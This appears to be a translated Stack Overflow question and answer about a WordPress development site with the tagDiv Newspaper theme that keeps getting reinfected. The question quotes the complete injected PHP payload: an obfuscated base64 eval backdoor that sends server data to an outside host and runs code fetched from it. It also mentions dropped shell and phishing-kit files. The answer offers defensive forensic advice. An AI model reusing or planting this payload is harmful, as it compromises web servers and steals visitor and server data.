【问题标题】:Password protected WordPress site with tagDiv Newspaper theme gets infected by malware带有 tagDiv 报纸主题的受密码保护的 WordPress 网站被恶意软件感染
【发布时间】:2020-06-06 14:52:41
【问题描述】:

我正在开发一个 WordPress 网站,该网站每 x 周就会被恶意软件感染,但我们找不到导致问题的原因。一些背景资料:

该网站位于受密码保护的单独开发域中。在开发过程中,我们会在更新可用时更新软件。发生的情况是,在随机数周后,当我们尝试访问该网站时,我们会被重定向到垃圾邮件网站。网站本身在第一次访问时变得非常慢,之后速度再次合理。我们只有 1 个管理员帐户和一些编辑在网站上工作以传输内容。因此,只有少数受信任的人可以访问该网站。

我们的托管公司筛选/扫描恶意软件,但似乎为时已晚,无法阻止该原因。

我们只安装了少数看起来合法的插件。以下列表:

  • 经典编辑器
  • 仪表板中的可折叠类别(此插件未被很多人使用,因此可能存在风险?)
  • 古腾堡
  • 对齐的图像网格
  • 显示 ID
  • tagDiv 云库
  • tagDiv 作曲家
  • tagDiv 社交计数器
  • tagDiv 标准包
  • Wordpress 导入器
  • 酵母 SEO

所有插件和 WordPress 本身都会一直更新到最新的可用版本。

我们已经安装了 tagDiv Newspaper 主题版本 10.0,但之前的版本也存在问题。每次重新安装 WordPress 网站时,我们都会删除所有文件和整个数据库,并要求托管公司仔细检查我们遗漏的文件。我们在同一台服务器上运行的其他站点没有任何问题,因此问题似乎仅限于 dev/wordpress 站点。在每次清理期间,我们都重置了所有相关密码(数据库、ftp)。 tagDiv 报纸主题似乎多次成为恶意软件注入的目标,因此这是一个危险信号。不幸的是,已经做了很多工作,改变主题会出现问题,而且我不是 100% 是主题导致了问题。

感染后所有 *.php 文件在每个 .php 文件的顶部都有这个额外的 php 代码:

<?php /*8968665*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KCi8vaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoCmFycmF5KCdodHRwJz0+YXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAnMTUnLAogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gIlJFTV9SRU09JzEnIi4kZGF0YV9uZmRoCikpKTsKJHZrZnU9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIsIGZhbHNlICwkY29udGV4dF9qaGtiKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307CiB9CiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*8968665*/ ?><?php

据我所知,数据库似乎没有受到影响。

在网站的根目录中,目录 pl 使用文件名 PayPAl2019.zip 和许多似乎处理某种付款的子文件夹创建。我可以找到的文件中的 IP 引用指向 ip : ^64.106.213.* 它属于 DataPipe, Inc.

在 WordPress 目录的根目录中创建的文件是 588eqpn7.php、u9hwrd7d.php 和 shell.php。最后一个文件被任何病毒扫描程序识别为特洛伊木马:Trojan:Script/Casur.A!cl。

文件的一些日期戳也很奇怪。比如2018年,但是那个时候开发地不存在?

我对服务器的 ssh 访问权限有限,但无权执行一些深入挖掘所需的命令。

我的问题是:

  1. 如何找出导致该 WordPress 网站被感染的原因?
  2. 如何在不丢失太多工作的情况下恢复网站?因为前几次删除所有内容都无济于事。

【问题讨论】:

    标签: php wordpress security malware


    【解决方案1】:

    很难从您所说的内容中了解到底发生了什么。根据密码保护和您的设置,某些情况比其他情况更有可能发生。如果你使用例如一个来自 Apache 的基本身份验证模块,攻击者将不得不绕过它或通过其他方式访问(同一台机器上的另一个主机,这可能是错误设置权限的提示或主机被入侵等)。如果存在应用程序级密码保护(例如通过 WordPress),它可能无法阻止对某些易受攻击的资源的访问。

    您描述的“再次感染”可能是由于持久性后门(或未修补的易受攻击的组件)造成的,因此这也不好说。

    一般来说,如果我对安装进行取证分析,我会从随机命名的文件开始,看看何时以及使用什么样的参数访问它们。从那里我会得到一个关于攻击者做了什么的提示,并且可能对最初的妥协时间框架有一个粗略的了解。这样就可以轻松恢复到已知良好的备份,而不会浪费太多时间。

    在这种情况下,a) 重建基础架构(或本例中的应用程序)或如果可用 b) 从已知良好的备份恢复是有意义的。令人震惊的是,有多少托管商没有可用的备份或备份不足,以及有多少客户选择低价而不是(数据)安全。

    为了安全起见,您可以下载安装副本并在单独的文件夹中重建快速而肮脏的安装,然后将两个文件夹相互比较并找出差异(这些可能来自攻击者或手动配置/发达)。这是一个经济问题,您想投入多少时间来重建多少安装。如果你花的时间太少,而攻击者又回来了,那你就倒霉了。

    ...另外,请做好备份。

    【讨论】:

    • 托管公司发现 Reveal IDs 是一个 WordPress 插件,也存在安全问题。我们还在主题目录中发现了受感染最多的文件。因此,我们现在将清理所有内容并删除 Reveal IDs 插件 + 再次更新主题以查看是否有帮助。
    猜你喜欢
    • 1970-01-01
    • 2018-06-16
    • 2018-10-14
    • 2013-07-14
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-03-02
    相关资源
    最近更新 更多